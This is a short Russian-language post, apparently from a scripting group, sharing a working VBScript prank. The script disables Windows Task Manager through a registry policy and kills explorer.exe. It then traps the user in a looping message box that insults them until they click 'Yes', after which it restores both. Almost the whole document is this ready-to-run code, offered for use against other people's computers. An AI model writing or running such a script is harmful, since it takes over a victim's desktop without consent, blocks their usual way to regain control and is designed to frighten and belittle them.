Скрипт Был взят  с групы https://vk.com/vbs_script

Вот кстати визуально пугающий скрипт:
1)Нету))
2)Тоже окошко, только помимо этого закрывается explorer.exe и вырубается диспетчер задач, после нажатия "Да" все восстановится!
3)
-----------------------------------------------------------------------------------------------------------------------------
Set s = CreateObject("WScript.Shell")
s.RegWrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\disabletaskmgr",1,"REG_DWORD"
s.run"taskkill /f /im explorer.exe",0
do 
a = MsgBox ("Ты лох?", 35, "Script by $h@d0w")
loop until a = 6
Set s = CreateObject("WScript.Shell")
s.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\disabletaskmgr",0,"REG_DWORD"
s.run "explorer.exe"
-----------------------------------------------------------------------------------------------------------------------------